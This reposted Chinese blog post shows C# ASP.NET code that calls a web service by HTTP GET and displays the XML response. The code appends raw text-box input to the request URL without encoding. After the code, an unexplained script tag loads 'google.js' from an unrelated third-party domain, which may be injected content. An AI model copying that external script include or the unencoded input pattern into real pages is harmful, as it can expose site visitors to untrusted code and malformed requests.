通过http-Get请求调用Web Service (C#)

97 篇文章 0 订阅

转的 地址忘记了

using System;

using System.Collections;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Web;

using System.Web.SessionState;

using System.Web.UI;

using System.Web.UI.WebControls;

using System.Web.UI.HtmlControls;

using System.IO;

using System.Net;

using System.Xml;



namespace HttpGetRequest

{

 /// <summary>

 /// WebForm1 的摘要说明。

 /// </summary>

 public class WebForm1 : System.Web.UI.Page

 {

  protected System.Web.UI.WebControls.Label Label1;

  protected System.Web.UI.WebControls.Button Button1;

  protected System.Web.UI.WebControls.TextBox TextBox1;

  protected System.Web.UI.WebControls.Label Label2;

  protected System.Web.UI.WebControls.Label Label3;

 

  private void Page_Load(object sender, System.EventArgs e)

  {

   // 在此处放置用户代码以初始化页面

  }



  #region Web 窗体设计器生成的代码

  override protected void OnInit(EventArgs e)

  {

   //

   // CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。

   //

   InitializeComponent();

   base.OnInit(e);

  }

  

  /// <summary>

  /// 设计器支持所需的方法 - 不要使用代码编辑器修改

  /// 此方法的内容。

  /// </summary>

  private void InitializeComponent()

  {    

   this.Button1.Click += new System.EventHandler(this.Button1_Click);

   this.Load += new System.EventHandler(this.Page_Load);



  }

  #endregion



  private void Button1_Click(object sender, System.EventArgs e)

  {

   HttpWebRequest req;

   string strGet ="http://localhost/ServiceExm/Service1.asmx/Hello?name=";

   strGet = strGet + TextBox1.Text;      //请求的Web service的所在地址

   req = (HttpWebRequest)WebRequest.Create(strGet);  //依据地址创建一个请求对象

   HttpWebResponse response;

   response = (HttpWebResponse)req.GetResponse();    //根据请求得到响应



   Stream s = response.GetResponseStream();          //得到响应流

   XmlTextReader reader = new XmlTextReader(s);      //读出流中的XML内容

   reader.MoveToContent();                           //跳过第一行<?xml version="1.0" encoding="utf-8">

   Label3.Text = reader.ReadInnerXml();              //将XML的内容赋给lable3

   reader.Close();                                   //关闭流

  }

 }

}



 

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值